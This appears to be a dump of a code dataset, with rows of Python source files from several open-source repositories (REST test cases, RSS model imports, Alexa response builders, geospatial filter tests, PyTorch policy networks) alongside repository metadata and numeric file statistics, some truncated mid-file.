import app.conf as ... | 38.330688 | 125 | 0.613983 | 1,711 | 14,489 | 5.023963 | 0.137931 | 0.029316 | 0.03141 | 0.02792 | 0.743253 | 0.723243 | 0.713239 | 0.713239 | 0.700093 | 0.691252 | 0 | 0.005745 | 0.267168 | 14,489 | 377 | 126 | 38.432361 | 0.803824 | 0.052937 | 0 | 0.67931 | 0 | 0 | 0.106523 | 0.013133 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.065517 | null | null | 0.010345 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ec8480cb8ffa6c24932c53cc5349abb243139ccf | 4,281 | py | Python | authors/apps/ratings/tests/test_ratings.py | andela/ah-jumanji- | a304718929936dd4a759d737fb3570d6cc25fb76 | [
"BSD-3-Clause"
] | 1 | 2018-12-23T15:31:54.000Z | 2018-12-23T15:31:54.000Z | authors/apps/ratings/tests/test_ratings.py | andela/ah-jumanji- | a304718929936dd4a759d737fb3570d6cc25fb76 | [
"BSD-3-Clause"
] | 26 | 2018-11-27T09:13:15.000Z | 2021-06-10T20:58:57.000Z | authors/apps/ratings/tests/test_ratings.py | andela/ah-jumanji- | a304718929936dd4a759d737fb3570d6cc25fb76 | [
"BSD-3-Clause"
] | 2 | 2019-01-10T22:14:28.000Z | 2019-11-04T07:33:43.000Z | from rest_framework.reverse import reverse
from rest_framework import status
import logging
import json
# local imports
from .test_base import TestBase
logger = logging.getLogger(__file__)
class TestRatings(TestBase):
''' Ratings test cases '''
def test_post_rating(self):
self.client.credentials(HTT... | 33.708661 | 79 | 0.543097 | 413 | 4,281 | 5.460048 | 0.193705 | 0.062084 | 0.043459 | 0.077605 | 0.773392 | 0.773392 | 0.759202 | 0.759202 | 0.759202 | 0.726829 | 0 | 0.012173 | 0.347582 | 4,281 | 126 | 80 | 33.97619 | 0.795202 | 0.007942 | 0 | 0.716814 | 0 | 0 | 0.094811 | 0 | 0 | 0 | 0 | 0 | 0.123894 | 1 | 0.061947 | false | 0 | 0.044248 | 0 | 0.115044 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ec9a7f12bc9fcc9f6a4bc5f7792d44adf4ba04ca | 492 | py | Python | fastapi_rss/models/__init__.py | elreydetoda/fastapi_rss | 94539937fed408a6918ab45a378e46a6cf179bde | [
"MIT"
] | 8 | 2021-03-23T10:37:12.000Z | 2022-02-05T07:47:12.000Z | fastapi_rss/models/__init__.py | elreydetoda/fastapi_rss | 94539937fed408a6918ab45a378e46a6cf179bde | [
"MIT"
] | 1 | 2022-03-25T23:26:55.000Z | 2022-03-31T19:50:18.000Z | fastapi_rss/models/__init__.py | elreydetoda/fastapi_rss | 94539937fed408a6918ab45a378e46a6cf179bde | [
"MIT"
] | 3 | 2021-04-13T06:16:05.000Z | 2022-01-13T03:38:33.000Z | # flake8: noqa
from fastapi_rss.models.category import Category, CategoryAttrs
from fastapi_rss.models.image import Image
from fastapi_rss.models.cloud import Cloud, CloudAttrs
from fastapi_rss.models.item import Item
from fastapi_rss.models.textinput import TextInput
from fastapi_rss.models.enclosure import Enclosure... | 37.846154 | 66 | 0.855691 | 70 | 492 | 5.885714 | 0.314286 | 0.240291 | 0.305825 | 0.436893 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002242 | 0.093496 | 492 | 12 | 67 | 41 | 0.921525 | 0.02439 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ecbb8f9cec5c0dd98bc6295c5693d7756700c836 | 129 | py | Python | app/api/__init__.py | Andrewpqc/URL-shortener | 74943b9f1f787e243a32e27eec425eb51f84e65e | [
"MIT"
] | 9 | 2018-07-01T11:19:05.000Z | 2021-12-30T03:00:03.000Z | app/api/__init__.py | Andrewpqc/URL-shortener | 74943b9f1f787e243a32e27eec425eb51f84e65e | [
"MIT"
] | 1 | 2020-12-09T23:46:04.000Z | 2020-12-09T23:46:04.000Z | app/api/__init__.py | Andrewpqc/URL-shortener | 74943b9f1f787e243a32e27eec425eb51f84e65e | [
"MIT"
] | 1 | 2018-06-06T15:10:57.000Z | 2018-06-06T15:10:57.000Z | # coding: utf-8
from flask import Blueprint
api=Blueprint("api",__name__)
from . import statistics, urlmap, user,authentication | 21.5 | 53 | 0.782946 | 17 | 129 | 5.705882 | 0.764706 | 0.247423 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008772 | 0.116279 | 129 | 6 | 53 | 21.5 | 0.842105 | 0.100775 | 0 | 0 | 0 | 0 | 0.026087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
01c9b97af3b426bee5f2120f7e15eb76b304be31 | 111 | py | Python | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/calculators/calc_rail.py | SiliconLabs/gecko_sdk | 310814a9016b60a8012d50c62cc168a783ac102b | [
"Zlib"
] | 69 | 2021-12-16T01:34:09.000Z | 2022-03-31T08:27:39.000Z | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/calculators/calc_rail.py | SiliconLabs/gecko_sdk | 310814a9016b60a8012d50c62cc168a783ac102b | [
"Zlib"
] | 6 | 2022-01-12T18:22:08.000Z | 2022-03-25T10:19:27.000Z | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/calculators/calc_rail.py | SiliconLabs/gecko_sdk | 310814a9016b60a8012d50c62cc168a783ac102b | [
"Zlib"
] | 21 | 2021-12-20T09:05:45.000Z | 2022-03-28T02:52:28.000Z | from pyradioconfig.parts.common.calculators.calc_rail import CalcRail
class CalcRailDumbo(CalcRail):
pass
| 22.2 | 69 | 0.828829 | 13 | 111 | 7 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 111 | 4 | 70 | 27.75 | 0.919192 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
bf32eb85a3492df2e0f4978d55de524a878a9094 | 48 | py | Python | Codewars/last_digit_of_a_large_number - (5 kyu).py | maxcohen31/A-bored-math-student | 007beb4dabf7b4406f48e9a3a967c29d032eab89 | [
"MIT"
] | null | null | null | Codewars/last_digit_of_a_large_number - (5 kyu).py | maxcohen31/A-bored-math-student | 007beb4dabf7b4406f48e9a3a967c29d032eab89 | [
"MIT"
] | null | null | null | Codewars/last_digit_of_a_large_number - (5 kyu).py | maxcohen31/A-bored-math-student | 007beb4dabf7b4406f48e9a3a967c29d032eab89 | [
"MIT"
] | null | null | null | def last_digit(a, b):
return pow(a, b, 10)
| 12 | 24 | 0.583333 | 10 | 48 | 2.7 | 0.8 | 0.148148 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055556 | 0.25 | 48 | 3 | 25 | 16 | 0.694444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
174d4e9708465fbd0f226f8b496fd207fb26dc8e | 2,874 | py | Python | src/alexa_response_builder/__init__.py | parveenchahal/AlexaSkill_PCSongs | 2368ff6b15fe76996a2943d11a9275573c6daa7f | [
"MIT"
] | null | null | null | src/alexa_response_builder/__init__.py | parveenchahal/AlexaSkill_PCSongs | 2368ff6b15fe76996a2943d11a9275573c6daa7f | [
"MIT"
] | null | null | null | src/alexa_response_builder/__init__.py | parveenchahal/AlexaSkill_PCSongs | 2368ff6b15fe76996a2943d11a9275573c6daa7f | [
"MIT"
] | null | null | null | def build_response(response: dict, session_attributes: dict = {}, version: str = '1.0'):
return {
'version': version,
'sessionAttributes': session_attributes,
'response': response
}
def build_empty_response():
return {
'shouldEndSession': True
}
def build_pause_response... | 29.326531 | 166 | 0.510786 | 216 | 2,874 | 6.592593 | 0.189815 | 0.044944 | 0.089888 | 0.087079 | 0.823736 | 0.823736 | 0.775983 | 0.744382 | 0.744382 | 0.719803 | 0 | 0.002749 | 0.367084 | 2,874 | 98 | 167 | 29.326531 | 0.780099 | 0 | 0 | 0.674157 | 0 | 0 | 0.212522 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.089888 | false | 0 | 0 | 0.089888 | 0.179775 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
176af3ef3eb8c7e7dfc9fd3281ad53b62509741c | 235 | py | Python | plugins/quetz_repodata_patching/setup.py | davidbrochart/quetz | fd9b95add5b8f7a1c0863e7e08bf5a6ab5b84984 | [
"BSD-3-Clause"
] | 1 | 2021-08-23T02:49:04.000Z | 2021-08-23T02:49:04.000Z | plugins/quetz_repodata_patching/setup.py | davidbrochart/quetz | fd9b95add5b8f7a1c0863e7e08bf5a6ab5b84984 | [
"BSD-3-Clause"
] | 2 | 2021-08-23T02:49:01.000Z | 2022-02-27T22:07:37.000Z | plugins/quetz_repodata_patching/setup.py | davidbrochart/quetz | fd9b95add5b8f7a1c0863e7e08bf5a6ab5b84984 | [
"BSD-3-Clause"
] | 3 | 2021-09-10T10:03:51.000Z | 2021-09-16T07:28:51.000Z | from setuptools import setup
setup(
name="quetz-repodata_patching",
install_requires="quetz",
entry_points={"quetz": ["quetz-repodata_patching = quetz_repodata_patching.main"]},
packages=["quetz_repodata_patching"],
)
| 26.111111 | 87 | 0.740426 | 26 | 235 | 6.384615 | 0.538462 | 0.313253 | 0.506024 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12766 | 235 | 8 | 88 | 29.375 | 0.809756 | 0 | 0 | 0 | 0 | 0 | 0.468085 | 0.412766 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.142857 | 0 | 0.142857 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1795872f3e6a4016771f03180469ac5eb0cb718b | 1,755 | py | Python | Home/views.py | NAL0/nalbt | c411ead60fac8923e960e67f4bbad5c7aeffc614 | [
"MIT"
] | null | null | null | Home/views.py | NAL0/nalbt | c411ead60fac8923e960e67f4bbad5c7aeffc614 | [
"MIT"
] | null | null | null | Home/views.py | NAL0/nalbt | c411ead60fac8923e960e67f4bbad5c7aeffc614 | [
"MIT"
] | null | null | null | from django.shortcuts import render
from django.contrib.auth.decorators import login_required
# Create your views here.
def index(request):
return render(request, 'Home/home.html')
def index2(request):
return render(request, "Home/SDG's.html")
@login_required
def index3(request):
return render(request, 'Home... | 21.666667 | 60 | 0.7151 | 239 | 1,755 | 5.230126 | 0.292887 | 0.2496 | 0.3648 | 0.4992 | 0.576 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043912 | 0.14359 | 1,755 | 80 | 61 | 21.9375 | 0.787758 | 0.013105 | 0 | 0 | 0 | 0 | 0.193866 | 0.032407 | 0 | 0 | 0 | 0 | 0 | 1 | 0.470588 | false | 0 | 0.039216 | 0.470588 | 0.980392 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
bda889d15771567b147db2ef3d7b89f08651b264 | 18,538 | py | Python | tests/test_util_location.py | GuillaumeVandekerckhove/pydov | b51f77bf93d1f9e96dd39edf564d95426da04126 | [
"MIT"
] | 32 | 2017-03-17T16:36:40.000Z | 2022-02-18T13:10:50.000Z | tests/test_util_location.py | GuillaumeVandekerckhove/pydov | b51f77bf93d1f9e96dd39edf564d95426da04126 | [
"MIT"
] | 240 | 2017-01-03T12:32:15.000Z | 2022-03-30T11:52:02.000Z | tests/test_util_location.py | DOV-Vlaanderen/dov-pydownloader | 126b17f4ad870d9fae5cb2c4b868c564cf7cd1b3 | [
"MIT"
] | 17 | 2017-01-09T21:00:36.000Z | 2022-03-01T15:04:21.000Z | """Module grouping tests for the pydov.util.location module."""
import pytest
from owslib.fes import (
And,
Or,
Not,
)
from pydov.util.location import (
Box,
Point,
Equals,
Disjoint,
Touches,
Within,
Intersects,
WithinDistance,
GmlObject
)
from owslib.etree import etree
... | 38.065708 | 79 | 0.609397 | 2,111 | 18,538 | 5.275699 | 0.07532 | 0.026578 | 0.022717 | 0.032055 | 0.860196 | 0.827691 | 0.777678 | 0.745533 | 0.729909 | 0.709617 | 0 | 0.122107 | 0.2565 | 18,538 | 486 | 80 | 38.144033 | 0.685917 | 0.160427 | 0 | 0.575 | 0 | 0.021429 | 0.395582 | 0.235831 | 0 | 0 | 0 | 0 | 0.064286 | 1 | 0.092857 | false | 0 | 0.021429 | 0 | 0.128571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
da3ad44f1d9a36cde1f445b02645bdab5ab8c2c0 | 3,331 | py | Python | common/policies.py | r-salas/minimal-rl | bd07c51fd76f8a2f908454d2f11b627d8efb1ff1 | [
"MIT"
] | null | null | null | common/policies.py | r-salas/minimal-rl | bd07c51fd76f8a2f908454d2f11b627d8efb1ff1 | [
"MIT"
] | null | null | null | common/policies.py | r-salas/minimal-rl | bd07c51fd76f8a2f908454d2f11b627d8efb1ff1 | [
"MIT"
] | null | null | null | #
#
#
# Policies
#
#
import torch
import gym.spaces
import torch.nn as nn
class QNetworkDiscretePolicy(nn.Module):
def __init__(self, observation_space: gym.spaces.Box, action_space: gym.spaces.Discrete):
super().__init__()
self.fc = nn.Sequential(
nn.Linear(observation_space.shap... | 25.045113 | 93 | 0.555989 | 409 | 3,331 | 4.349633 | 0.117359 | 0.085441 | 0.073075 | 0.061832 | 0.794266 | 0.794266 | 0.779089 | 0.779089 | 0.732434 | 0.732434 | 0 | 0.030883 | 0.309817 | 3,331 | 132 | 94 | 25.234848 | 0.742932 | 0.006605 | 0 | 0.717391 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.130435 | false | 0 | 0.032609 | 0.01087 | 0.293478 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
da47aa694b982f4ffb78e38a155ad91581f1d4ba | 38 | py | Python | os_v4_hek/defs/shpp.py | holy-crust/reclaimer | 0aa693da3866ce7999c68d5f71f31a9c932cdb2c | [
"MIT"
] | null | null | null | os_v4_hek/defs/shpp.py | holy-crust/reclaimer | 0aa693da3866ce7999c68d5f71f31a9c932cdb2c | [
"MIT"
] | null | null | null | os_v4_hek/defs/shpp.py | holy-crust/reclaimer | 0aa693da3866ce7999c68d5f71f31a9c932cdb2c | [
"MIT"
] | null | null | null | from ...os_v3_hek.defs.shpp import *
| 19 | 37 | 0.710526 | 7 | 38 | 3.571429 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030303 | 0.131579 | 38 | 1 | 38 | 38 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e51acb3bff1c06fbd2eb0fe66f54762845916a25 | 29 | py | Python | graphical_models/classes/interventions/__init__.py | vishalbelsare/graphical_models | 15078b3a8ac0af7198150b06359d6c701faa26c3 | [
"BSD-3-Clause"
] | 2 | 2021-09-12T13:41:12.000Z | 2021-11-10T12:22:03.000Z | graphical_models/classes/interventions/__init__.py | vishalbelsare/graphical_models | 15078b3a8ac0af7198150b06359d6c701faa26c3 | [
"BSD-3-Clause"
] | null | null | null | graphical_models/classes/interventions/__init__.py | vishalbelsare/graphical_models | 15078b3a8ac0af7198150b06359d6c701faa26c3 | [
"BSD-3-Clause"
] | 1 | 2021-09-12T13:41:16.000Z | 2021-09-12T13:41:16.000Z | from .interventions import *
| 14.5 | 28 | 0.793103 | 3 | 29 | 7.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 29 | 1 | 29 | 29 | 0.92 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e58232d64a1cae9bbc847a4178bb835fcbede84e | 1,867 | py | Python | extra_tests/cffi_tests/embedding/test_performance.py | nanjekyejoannah/pypy | e80079fe13c29eda7b2a6b4cd4557051f975a2d9 | [
"Apache-2.0",
"OpenSSL"
] | 333 | 2015-08-08T18:03:38.000Z | 2022-03-22T18:13:12.000Z | extra_tests/cffi_tests/embedding/test_performance.py | nanjekyejoannah/pypy | e80079fe13c29eda7b2a6b4cd4557051f975a2d9 | [
"Apache-2.0",
"OpenSSL"
] | 7 | 2020-02-16T16:49:05.000Z | 2021-11-26T09:00:56.000Z | extra_tests/cffi_tests/embedding/test_performance.py | nanjekyejoannah/pypy | e80079fe13c29eda7b2a6b4cd4557051f975a2d9 | [
"Apache-2.0",
"OpenSSL"
] | 55 | 2015-08-16T02:41:30.000Z | 2022-03-20T20:33:35.000Z | # Generated by pypy/tool/import_cffi.py
import sys
from extra_tests.cffi_tests.embedding.test_basic import EmbeddingTests
if sys.platform == 'win32':
import pytest
pytestmark = pytest.mark.skip("written with POSIX functions")
class TestPerformance(EmbeddingTests):
def test_perf_single_threaded(self):
... | 34.574074 | 70 | 0.597215 | 228 | 1,867 | 4.688596 | 0.232456 | 0.074836 | 0.05145 | 0.074836 | 0.76333 | 0.76333 | 0.76333 | 0.76333 | 0.76333 | 0.76333 | 0 | 0.021398 | 0.249063 | 1,867 | 53 | 71 | 35.226415 | 0.741084 | 0.019818 | 0 | 0.644444 | 1 | 0 | 0.120897 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.066667 | 0 | 0.2 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
008e2e1c1419b881bbb4bce8d5ba7adc21e56896 | 154 | py | Python | entmoot/__init__.py | cornelius-braun/entmoot | 47a3c2ffd799dd05a0f5d896e665f17d77688e39 | [
"BSD-3-Clause"
] | 27 | 2020-08-31T13:30:14.000Z | 2022-03-21T11:35:05.000Z | entmoot/__init__.py | cornelius-braun/entmoot | 47a3c2ffd799dd05a0f5d896e665f17d77688e39 | [
"BSD-3-Clause"
] | 2 | 2021-02-16T11:27:53.000Z | 2021-04-20T19:50:53.000Z | entmoot/__init__.py | cornelius-braun/entmoot | 47a3c2ffd799dd05a0f5d896e665f17d77688e39 | [
"BSD-3-Clause"
] | 6 | 2020-10-22T11:45:43.000Z | 2022-03-28T17:42:53.000Z | from .optimizer import Optimizer
from .optimizer import entmoot_minimize
from .space import Space
from .benchmarks import *
__all__ = (
"Optimizer"
) | 19.25 | 39 | 0.772727 | 18 | 154 | 6.333333 | 0.444444 | 0.22807 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162338 | 154 | 8 | 40 | 19.25 | 0.883721 | 0 | 0 | 0 | 0 | 0 | 0.058065 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.571429 | 0 | 0.571429 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
008fbb23f32fd52ddfa380e74549747341a459b7 | 223 | py | Python | files/test_app/artifactory/artifactory.py | jpnewman/jpnewman_ansible_elk | 47ffec74f7ec6f62a2a71c17bf6940e42b0e2467 | [
"MIT"
] | 1 | 2017-02-04T22:09:25.000Z | 2017-02-04T22:09:25.000Z | files/test_app/artifactory/artifactory.py | jpnewman/jpnewman_ansible_elk | 47ffec74f7ec6f62a2a71c17bf6940e42b0e2467 | [
"MIT"
] | null | null | null | files/test_app/artifactory/artifactory.py | jpnewman/jpnewman_ansible_elk | 47ffec74f7ec6f62a2a71c17bf6940e42b0e2467 | [
"MIT"
] | null | null | null |
from .nuget_package import NugetPackages
class Artifactory(object):
def __init__(self):
self.nuget_package_obj = NugetPackages()
def create_all_packages(self):
self.nuget_package_obj.create_all()
| 22.3 | 48 | 0.735426 | 27 | 223 | 5.62963 | 0.555556 | 0.236842 | 0.171053 | 0.263158 | 0.302632 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.183857 | 223 | 9 | 49 | 24.777778 | 0.835165 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.166667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
00b797af22fe1f0b033de0d8d2224ba3355322bf | 441 | py | Python | havok_py/utils/__init__.py | yangjinhui11/havok_ml | f00dc11d982adfb6419c91fccb8c36332add9360 | [
"MIT"
] | null | null | null | havok_py/utils/__init__.py | yangjinhui11/havok_ml | f00dc11d982adfb6419c91fccb8c36332add9360 | [
"MIT"
] | null | null | null | havok_py/utils/__init__.py | yangjinhui11/havok_ml | f00dc11d982adfb6419c91fccb8c36332add9360 | [
"MIT"
] | null | null | null | from .simulations import simulate_lorenz
from .simulations import simulate_rossler
from .simulations import simulate_vanderpol_oscillator
from .simulations import simulate_duffing_oscillator
from .simulations import simulate_coupled_vdp
from .simulations import simulate_coupled_vdp_lorenz
from .simulations import simul... | 33.923077 | 54 | 0.873016 | 57 | 441 | 6.526316 | 0.298246 | 0.322581 | 0.451613 | 0.545699 | 0.52957 | 0.209677 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102041 | 441 | 12 | 55 | 36.75 | 0.939394 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
00d316ec796e9bdaaa32f5222f8a0f5fa1e12714 | 96 | py | Python | venv/lib/python3.8/site-packages/numpy/f2py/tests/test_callback.py | Retraces/UkraineBot | 3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71 | [
"MIT"
] | 2 | 2022-03-13T01:58:52.000Z | 2022-03-31T06:07:54.000Z | venv/lib/python3.8/site-packages/numpy/f2py/tests/test_callback.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | 19 | 2021-11-20T04:09:18.000Z | 2022-03-23T15:05:55.000Z | venv/lib/python3.8/site-packages/numpy/f2py/tests/test_callback.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | null | null | null | /home/runner/.cache/pip/pool/eb/60/f3/07eb813b3b488199a158453d093b48cecec464b896f6fa3a2cad762040 | 96 | 96 | 0.895833 | 9 | 96 | 9.555556 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.427083 | 0 | 96 | 1 | 96 | 96 | 0.46875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
00ef36a18f2f60e60440edeb9d4de89283c1ec19 | 160 | py | Python | wemos-d1-mini/main.py | flashypepo/myMicropython-Examples | b2b63df865b5ad471b351ca5f279135025859f5d | [
"MIT"
] | 3 | 2017-09-03T17:17:44.000Z | 2017-12-10T12:26:46.000Z | wemos-d1-mini/main.py | flashypepo/myMicropython-Examples | b2b63df865b5ad471b351ca5f279135025859f5d | [
"MIT"
] | null | null | null | wemos-d1-mini/main.py | flashypepo/myMicropython-Examples | b2b63df865b5ad471b351ca5f279135025859f5d | [
"MIT"
] | 2 | 2017-10-01T01:10:55.000Z | 2018-07-15T19:49:29.000Z | # main.py - select startup program
import scroller # OLED-demo
import sht30_demo # SHT30 shield demo
#TODO: show temperature and humidity on OLED display
| 26.666667 | 53 | 0.7625 | 23 | 160 | 5.26087 | 0.782609 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030769 | 0.1875 | 160 | 5 | 54 | 32 | 0.9 | 0.69375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
da94dae4ed99dc8089a836ab148535e662f62a0b | 4,214 | py | Python | brambling/tests/integration/test_stripe.py | j-po/django-brambling | be072903fbdecb94f1ec4680b717adc44e73c80b | [
"BSD-3-Clause"
